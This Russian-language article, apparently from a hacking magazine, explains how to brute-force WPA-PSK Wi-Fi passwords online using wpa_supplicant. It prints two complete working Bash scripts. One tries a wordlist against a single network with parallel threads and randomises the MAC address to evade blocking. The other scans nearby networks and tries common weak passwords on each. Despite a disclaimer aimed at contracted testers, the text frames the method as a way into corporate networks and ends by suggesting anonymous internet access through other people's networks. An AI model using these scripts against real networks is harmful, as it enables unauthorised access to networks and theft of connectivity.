January 3, 2024

Атакуем беспроводные сети простым и эффективным способом

Ата­ки на Wi-Fi чрез­вычай­но раз­нооб­разны: зло­умыш­ленник может попытать­ся взло­мать кли­ент­ские устрой­ства и точ­ки дос­тупа, да и пос­ледние могут исполь­зовать раз­ные про­токо­лы и методы аутен­тифика­ции. В этой статье мы рас­смот­рим прос­той, но эффектив­ный метод брут­форса бес­про­вод­ных сетей.

INFO

Эта статья — часть серии пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

На­ибо­лее час­то встре­чают­ся сети WPA PSK. Даже если в ком­пании исполь­зуют­ся сети WPA-Enterprise, а все осталь­ное зап­рещено, мы всег­да можем най­ти WPA PSK бла­года­ря тем же бес­про­вод­ным прин­терам и вся­чес­ким несан­кци­они­рован­ным точ­кам дос­тупа, работа­ющим на телефо­нах сот­рудни­ков. И чем боль­ше периметр ком­пании, тем боль­ше таких потен­циаль­ных точек вхо­да мож­но обна­ружить. При ата­ках на точ­ки дос­тупа с WPA PSK обыч­но исполь­зует­ся сле­дующая схе­ма.

Клас­сичес­кая схе­ма дей­ствий при ата­ках WPA PSK

Но что делать, если у точ­ки дос­тупа нет кли­ентов? Гру­бо говоря, где‑то у полови­ны обна­ружен­ных бес­про­вод­ных сетей будут отсутс­тво­вать активные кли­енты, а дру­гая полови­на не будет под­верже­на PMKID, и у таких сетей не обна­ружит­ся уяз­вимый к перебо­ру WPS. Выходит, подоб­ные точ­ки дос­тупа устой­чивы к ата­кам, даже если на них исполь­зует­ся пароль 12345678? А что нам меша­ет ата­ковать их?

ОНЛАЙНОВЫЙ БРУТФОРС С ИСПОЛЬЗОВАНИЕМ WPA_SUPPLICANT

По­доб­рать пароль к обыч­ной WPA-сети всег­да мож­но прос­тым перебо­ром, аутен­тифици­руясь и спра­шивая каж­дый раз пароль непос­редс­твен­но у точ­ки дос­тупа (этот метод называ­ется онлайн‑брут­форсом).

Ата­ки онлайн‑под­бором пароля к Wi-Fi-сетям край­не ред­ки, и в интерне­те мож­но най­ти не так уж мно­го реали­заций такой ата­ки. Оно и понят­но: ведь ее ско­рость низ­кая в срав­нении с брут­форсом того же WPA Handshake или PMKID. Но имен­но эта ата­ка может быть единс­твен­но воз­можной поч­ти в чет­верти слу­чаев. И пусть ско­рость под­бора будет не так высока, это явно луч­ше, чем сидеть и ждать у моря погоды. Так ли нуж­на нам высокая ско­рость брут­форса, ког­да речь идет о небезо­пас­ных паролях? Мож­но пред­положить, что при­мер­но на каж­дой десятой точ­ке дос­тупа исполь­зован прес­ловутый пароль 12345678. Неуже­ли для ата­ки подоб­ных устрой­ств нужен хен­дшейк?

Брут­форс онлайн в ширину (мно­го точек дос­тупа, нес­коль­ко паролей)

А что, если мы возь­мем с десяток самых сла­бых паролей? Реали­зовать онлайн‑брут­форс мы можем дос­таточ­но прос­то с помощью скрип­та на Bash, исполь­зуя лишь wpa_supplicant:

wpa-brute.sh

#!/bin/bash

RED='\x1b[31m'

GREEN='\x1b[32m'

GREY='\x1b[90m'

RESET='\x1b[0m'

TIMEOUT=15

IFACE=wlan0

[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid

[[ $# -ge 2 ]] && wordlist="$2" || read -p 'wordlist: ' wordlist

[[ $# -ge 3 ]] && threads="$3" || threads=1

rand=$RANDOM

if [ "$threads" -eq 1 ]; then

touch "/tmp/wpa_${rand}_${essid}.conf"

while read -r password

do

[[ "${#password}" -lt 8 ]] && continue

#sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up

wpa_passphrase "$essid" "$password" > "/tmp/wpa_${rand}_${essid}.conf" || continue

sed -i 's/^.*#psk=.*$/\tscan_ssid=1/g' "/tmp/wpa_${rand}_${essid}.conf"

sudo ifconfig $IFACE up

sudo timeout $TIMEOUT wpa_supplicant -i $IFACE -c "/tmp/wpa_${rand}_${essid}.conf" 2>&1 > "/tmp/wpa_${rand}_${essid}.log" &

wpa_supplicant=$!

tail -f "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null | while read -t $TIMEOUT line

do

#echo "$line"

if echo "$line" | grep -q "completed"; then

break

elif echo "$line" | grep -q "Handshake failed"; then

break

fi

done

sudo pkill -P $wpa_supplicant 2> /dev/null

now=$(date +'%H:%M:%S')

if grep -q "complete" "/tmp/wpa_${rand}_${essid}.log" > /dev/null; then

echo -e $GREEN "[+] [$now] $IFACE $essid: $password" $RESET

exit 1

elif grep -q "Handshake failed" "/tmp/wpa_${rand}_${essid}.log"; then

echo -e $RED "[-] [$now] $IFACE $essid: $password" $RESET

else

echo -e $GREY "[!] [$now] $IFACE $essid: $password" $RESET

echo "$password" >> "$wordlist"

fi

rm "/tmp/wpa_${rand}_${essid}.log" 2> /dev/null

rm "/tmp/wpa_${rand}_${essid}.conf" 2> /dev/null

done < "$wordlist"

elif [ "$threads" -gt 1 ]; then

typeset -a pids=()

for ((thread=0; thread<$threads; thread++)); do

"$0" "$1" <(cat "$2" | awk "NR%$threads==$thread") || pkill -f "$0" &

pids+=($!)

#sleep 0.25

done

for pid in ${pids[*]}; do

tail --pid=$pid -f /dev/null

done

fi

Скрипт будет пытать­ся под­клю­чить­ся к точ­ке дос­тупа, исполь­зуя исклю­читель­но легитим­ное ПО. На каж­дой ите­рации, что­бы избе­жать бло­киро­вок, он может менять наш MAC-адрес на ран­домный. Такой скрипт не тре­бует осо­бых режимов бес­про­вод­ной сетевой кар­ты и может быть запущен на любом компь­юте­ре и даже на устрой­стве с Android.

Брут­форс онлайн в глу­бину в четыре потока (одна точ­ка дос­тупа, мно­го паролей)

Этот метод не так уж и плох, ведь даже Android по умол­чанию управля­ет бес­про­вод­ными соеди­нени­ями через ста­рый доб­рый wpa_supplicant. Cчи­тает­ся, что онлайн‑брут­форс точек дос­тупа не парал­лелит­ся, а ско­рость под­бора пароля уве­личить невоз­можно. Одна­ко при одновре­мен­ном брут­форсе паролей сра­зу с двух устрой­ств не было замече­но падения ско­рос­ти, сле­дова­тель­но, уве­личе­ние быс­тро­дей­ствия воз­можно.

В скрип­те wpa-brute.sh есть под­дер­жка мно­гопо­точ­ности, реали­зован­ная дос­таточ­но прос­тым и ори­гиналь­ным спо­собом: на одном и том же WLAN-интерфей­се мы можем одновре­мен­но запус­кать сра­зу нес­коль­ко про­цес­сов wpa_supplicant. Пока один ждет отве­та от точ­ки дос­тупа, дру­гой wpa_supplicant может отправ­лять пакеты аутен­тифика­ции со сле­дующим паролем. Зна­чит, ско­рость брут­форса все же может быть уве­личе­на, прав­да, в разум­ных пре­делах и не на всех точ­ках дос­тупа в рав­ной сте­пени.

До­бавив обер­тку вок­руг скрип­та wpa-brute.sh, мы можем реали­зовать брут­форс в ширину:

wpa_brute-width.sh

#!/bin/bash

RED='\x1b[31m'

GREEN='\x1b[32m'

GREY='\x1b[90m'

RESET='\x1b[0m'

IFACE=wlan0

TIMEOUT=60

PASSWD=()

MAX_TREADS=6

[[ $# -ge 1 ]] && PASSWD=($*) || while read passwd; do PASSWD+=("$passwd"); done

#PASSWD=(12345678 123456789 1234567890 qwertyuiop 1q2w3e4r 987654321 1q2w3e4r5t qazwsxedc 11111111)

#sudo killall -KILL wpa_supplicant 2> /dev/null

mkdir /tmp/wpa_brute 2> /dev/null && chmod o+rw /tmp/wpa_brute

while :

do

sudo ifconfig $IFACE up

typeset -a bssids=()

typeset -a essids=()

typeset -a signals=()

IFS=#39;\x0a'

for line in $(sudo iw dev $IFACE scan 2> /dev/null | egrep '^BSS|SSID:|signal:|Authentication' | tr #39;\n' #39;\t' | sed -e 's/BSS/\nBSS/g' | grep 'PSK')

do

IFS=#39;\t' read bssid signal essid <<< $(echo "$line" | sed -rn 's/BSS (.+)\(.*\t+signal: (.*).00 dBm.*\t+SSID: ([^\t]+)\t.*/\1\t\2\t\3/p')

if [ -n "$essid" ]; then

#echo "[*] $bssid $signal $essid"

bssids+=($bssid)

essids+=($essid)

signals+=($signal)

fi

done

for ((i=0; i<${#bssids[@]}; i++))

do

echo "${essids[i]}"#39;\t'"${bssids[i]}"#39;\t'"${signals[i]}"

done | sort -n -k 3 -r | uniq > /tmp/wpa_brute/wpa_net.txt

IFS=#39;\x0a'

for net in $(cat /tmp/wpa_brute/wpa_net.txt)

do

IFS=#39;\t' read essid bssid signal <<< $(echo "$net")

fgrep -q "$essid" /tmp/wpa_brute/essids_known.txt 1> /dev/null 2> /dev/null && continue

echo "[+] $essid $bssid $signal"

sudo ifconfig $IFACE down; sudo ifconfig $IFACE hw ether "00:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]:$[RANDOM%110+10]" 2> /dev/null; sudo ifconfig $IFACE up

threads=0

for passwd in ${PASSWD[*]}

do ((threads++))

echo "$passwd"

done > /tmp/wpa_brute/wordlist.txt

timeout $TIMEOUT $(dirname "$0")/wpa_brute.sh "$essid" /tmp/wpa_brute/wordlist.txt $(( threads<=MAX_TREADS ? threads : MAX_TREADS ))

echo "$essid" >> /tmp/wpa_brute/essids_known.txt

break

done

done

Cкрипт на каж­дой ите­рации будет ска­ниро­вать эфир, про­верять наличие бес­про­вод­ных сетей, сор­тировать их по уров­ню сиг­нала и пытать­ся подоб­рать толь­ко один или нес­коль­ко ука­зан­ных паролей.

Брут­форс в ширину может быть очень полезен, ког­да ата­куемый объ­ект име­ет про­тяжен­ный периметр с кучей раз­нооб­разных Wi-Fi-сетей, мно­гие из которых — это несан­кци­они­рован­ные сети, раз­дава­емые поль­зовате­лями, не силь­но заботя­щими­ся о защищен­ности. Дру­гой хороший при­мер сла­бо защищен­ных устрой­ств, которые обя­затель­но сто­ит искать подоб­ным методом, — это прин­теры. И то и дру­гое может стать отличной точ­кой вхо­да во внут­реннюю сеть ком­пании.

Ис­поль­зовать брут­форс в ширину мож­но и без цели про­ник­новения, нап­ример что­бы орга­низо­вать ано­ним­ный выход в интернет через чужой канал.